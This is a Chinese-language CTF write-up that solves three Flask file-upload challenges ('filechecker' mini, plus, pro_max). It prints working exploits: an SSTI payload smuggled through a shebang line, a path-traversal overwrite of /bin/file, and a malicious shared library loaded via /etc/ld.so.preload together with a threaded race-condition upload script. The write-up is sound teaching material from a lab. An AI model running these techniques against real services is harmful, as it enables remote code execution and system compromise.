file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template_string(file_check_res)

except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

开始看到flask就猜想这里存在的是ssti

1
from flask import Flask, request, render_template, render_template_string

在这里发现它对我们上传的文件进行file命令

1
2
3
4
5
6
 file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)

然后将返回值传给file_check_res

最后一行是关键

1
return render_template_string(file_check_res)

它将file_check_res进行渲染,所以如果我们可以控制file命令后的文件返回值是一个ssti注入语句那么就可以实现对网站的ssti,并利用这个返回值返回flag

如果单纯写个包含ssti语句的文本

image-20230312223454421

发现执行完file -b后,执行后只显示文件类型

file -b解析#!后内容显示

这里就需要一个知识点#!后的内容,会被视为文件的解释器,然后打印出来,比如

image-20230312224705119

这里

1
a {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} script, ASCII text executable

就看出来它把文本

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

当作了script解析器,在解析文件类型时,就把它打印出来了

于是我们上传该文件

image-20230312224941575

得到flag

filecheacker_pro

hint:An easier file check challenge.
The zip decompression password is the flag value of filechecker_mini.
Test your exploit locally first.
The challenging environment restarts every three minutes.

更简单的文件检查挑战。
zip 解压缩密码是 filechecker_mini 的flag。
首先在本地测试漏洞利用。
具有挑战性的环境每三分钟重新启动一次。

看看源码和mini的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template('index.html', result=file_check_res)

except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

发现在

1
return render_template('index.html', result=file_check_res)

看来是无法进行ssti注入

后面查看wp发现os.path.join存在一个技巧

如果只是单纯的文件名字

1
os.path.join('path','abc','yyy.txt')

那么路径就是path/abc/yyy.txt

如果后面的参数包含了'/',那么前面的路径就会被忽略

比如,

1
os.path.join('aaa','/bbb/ccc.txt')

那么路径就是/bbb/ccc.txt,而前面得aaa目录路径就被无视了

于是在源码中这里,

1
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

如果我们的文件名改成/bin/file会怎么样呢…

那就代表/bin/file文件就被我们覆盖了,于是可以不用..跨目录也可以进行文件上传或者覆盖

当在这里执行/bin/file时,就相当于执行我们的文件内容

1
2
3
4
5
6
7
8
9
10
11
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
) file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)

那么就显而易见我们可以构造

1
2
#!/bin/bash
cat /flag

直接得到flag

注意unix中是行尾只有换行也就是\n,而win中才是以\r\n结尾

而bp中改包的时候,回车会以win方式生成\r\n这两个 ,所以如果直接传上去覆盖/bin/file,实际上格式是错误的,无法执行,就会报错,所以需要删除\r

image-20230314163249778

filecheacker_pro_max

hint:The zip decompression password is the flag value of filechecker_plus.
Test your exploit locally first.
The challenging environment restarts every three minutes.

zip 解压缩密码是 filechecker_plus 的flag。
首先在本地测试漏洞利用。
具有挑战性的环境每三分钟重新启动一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, render_template
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

if os.path.exists(filepath):
return render_template('index.html', result=f"{filepath} already exists (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template('index.html', result=file_check_res)

except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

和上道题目题目不同,这道题修复了文件覆盖,

1
return render_template('index.html', result=f"{filepath} already exists (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")

但是仍然可以利用这里

1
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

进行跨目录文件上传

我们仍然需要实现rce,但是服务器shell中唯一执行的命令只有/bin/file -b

前置知识

  • 使用 strace 命令查看系统调用【通过这个命令,查看/bin/file命令执行的调用过程,看看有没有可以中间利用劫持的,这个需要进docker中查看】

我们需要找的是/bin/file命令执行过程中调用的文件,并且这个文件不存在,这样我们才可以成功上传

image-20230315000016107

这里就看到一个合适的目标文件

/etc/ld.so.preload,因为其不存在,但是在执行/bin/file时会调用它

确实不认识这个文件,搜一下得到

/etc/ld.so.preload在某种程度上取代了LD_PRELOAD

由于安全问题,LD_PRELOAD受到严格的限制:它不能执行任意的setuid二进制文件,因为如果可以的话,你可以用自己的恶意代码替换库例程,例如在这里进行很好的讨论。事实上,你可以在ld.so用户手册中阅读:

LD_PRELOAD

要在所有其他库之前加载的其他用户指定的 ELF 共享库的列表。列表中的项目可以用空格或冒号分隔。这可用于有选择地覆盖其他共享库中的函数。使用“说明”下给出的规则搜索库。对于 set-user-ID/set-group-ID ELF 二进制文件,将忽略包含斜杠的预加载路径名,并且仅当在库文件上启用了 set-user-ID 权限位时,才会加载标准搜索目录中的库。

相反,文件 /etc/ld.so.preload 没有这样的限制,其想法是,如果你可以读/写目录 /etc,你就已经有了 root 凭据。因此它的使用。

请记住,即使一开始您似乎没有 /etc/ld.so.preload,您也可以使用 /etc/ld.so.preload:它只不过是 glibc 的一个功能,因此是所有 Linux 发行版(但据我所知,不是 Unix 风格),因此您可以创建它并将任何 Linux 发行版中任何 setuid 库的名称放入其中, 它会起作用。

也就是说它是一个加载库的配置文件,相当于命令的所需库的配置,当命令执行时其中的二进制配置文件也会被认为是该命令执行的一个部分进行加载执行

所以我们需要上传两个文件,一个是能够执行cat /flag的二进制文件,一个是/etc/ld.so.preload文件,而且/etc/ld.so.preload中需要包含改二进制文件路径,以实现加载的目的

*所谓的库,实际上就是/bin/file命令执行过程中用到的函数的定义库,而上传的二进制文件的主要目的就是劫持/bin/file命令中的利用的函数,进行重新定义

file/magic.h.in at 30ad4181ef4f2f09d36aee1163386b8d2904d0e0 · file/file (github.com)中查看file利用的函数,发现magic_version()很合适,因为它不需要参数

image-20230315210955814

构造利用文件

于是构造二进制文件

haha.c

1
2
3
4
5
#include <stdlib.h>

void magic_version() {
system("cat /flag");
}
1
2
3
4
5
gcc haha.c -o haha.so -fPIC -shared -ldl -D_GNU_SOURCE
#-fPIC: 指定生成位置无关代码(Position-Independent Code, PIC),这是必要的,因为共享库可以在内存中的任意位置加载,所以需要确保代码中的地址引用是相对的而不是绝对的。
#-shared: 指定生成共享库,这意味着代码将被编译成一个动态链接库(也称为共享对象),而不是可执行文件。
#-ldl: 链接动态加载器库(Dynamic Loading Library, dl),这个库提供了动态加载和链接共享库的接口,程序可以使用它来在运行时加载和链接共享库。
#-D_GNU_SOURCE: 定义一个宏,它告诉编译器使用 GNU 标准库的特定功能,这些功能不是 C 标准的一部分。

得到haha.so,我们可以将其传到/tmp下,避免在upload目录下被

于是可以构造/etc/ld.so.preload内容

1
/tmp/haha.so

这样它就会加载/tmp/haha.so


但是上传完一个文件后,执行完/bin/file,会执行

1
os.remove(filepath)

删除该文件,所以想要在实现上面操作,就必须在/bin/file执行前将两个文件上传上去,才能实现劫持该命令实现cat /flag,所以这里需要进行条件竞争

写个简单py进行竞争,或者用bp放包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import threading
import re

url = "http://192.168.80.138:3000/"

def upload1():
file = {"file-upload": ("/etc/ld.so.preload", open("./ld.so.preload", "r"))}
res = requests.post(url, files=file)
print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])

def upload2():
file = {"file-upload": ("/tmp/haha.so", open("./haha.so", "rb"))}
res = requests.post(url, files=file)
print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])

if __name__ == "__main__":
for i in range(100):
threading.Thread(target=upload1).start()
threading.Thread(target=upload2).start()

image-20230315222627587

得到flag

C3

一道0解的题目,最后提示了端口,看到就想到Cobaltstrike但是不知道怎么利用,于是准备复现CVE-2022-39197,当作题目复现了,内容写在在CVE漏洞学习

hint:

Command and Control.

该题无需爆破;

port 50050

这是一道CVE-2022-39197Cobaltstrike RCE】真实环境中的漏洞利用